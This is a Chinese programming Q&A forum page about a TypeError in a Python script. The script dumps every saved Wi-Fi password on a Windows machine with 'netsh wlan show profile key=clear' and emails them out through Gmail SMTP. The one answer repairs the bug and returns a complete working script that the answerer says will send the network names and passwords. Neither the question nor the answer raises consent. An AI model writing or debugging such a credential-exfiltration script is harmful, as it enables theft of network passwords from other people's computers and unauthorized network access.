为了账号安全,请及时绑定邮箱和手机立即绑定

TypeError: 预期的字符串或类似字节的对象。我在哪里将它更改为字符串?

TypeError: 预期的字符串或类似字节的对象。我在哪里将它更改为字符串?

Cats萌萌 2022-12-14 17:35:41
当我尝试运行这个 python 时:import subprocess, smtplibdef send_mail(email,password,message):    server = smtplib.SMTP("smtp.gmail.com", 587)    server.starttls()    server.login(email,password)    server.sendmail(email, email, message)    server.quit()a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]for i in a:    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]    try:        print ("{:<30}| {:<}".format(i, results[0]))    except IndexError:        print ("{:<30}| {:<}".format(i,""))send_mail("example@gmail.com","Example123",results)我收到这个错误Traceback (most recent call last):  File "wifi.py", line 18, in <module>    send_mail("Example@gmail.com","Example123",results)  File "wifi.py", line 6, in send_mail    server.sendmail(email, email, message)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail    (code, resp) = self.data(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data    q = _quote_periods(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods    return re.sub(br'(?m)^\.', b'..', bindata)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub    return _compile(pattern, flags).sub(repl, string, count)TypeError: expected string or bytes-like object我知道我需要在某个地方放“str”,但我不知道是哪一部分(我对 python 有点陌生)
查看完整描述

1 回答

?
阿波罗的战车

TA贡献1862条经验 获得超6个赞

你有结果作为列表只是将它转换成字符串这将发送用户名和密码


import subprocess, smtplib

def send_mail(email,password,message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email,password)

    server.sendmail(email, email, message)

    server.quit()


a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')

a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

to_send = []

for i in a:

    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')

    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]

    # in order to send everything store it in another list and then join them with new line.

    to_send.append(i+":"+"".join(results))

    try:

        print ("{:<30}| {:<}".format(i, results[0]))

    except IndexError:

        print ("{:<30}| {:<}".format(i,""))

# convert list to string

send_mail("example@gmail.com","Example123","\n".join(to_send))


查看完整回答
反对 回复 2022-12-14
  • 1 回答
  • 0 关注
  • 128 浏览
慕课专栏
更多

添加回答

举报

0/150
提交
取消
微信客服

购课补贴
联系客服咨询优惠详情

帮助反馈 APP下载

慕课网APP
您的移动学习伙伴

公众号

扫描二维码
关注慕课网微信公众号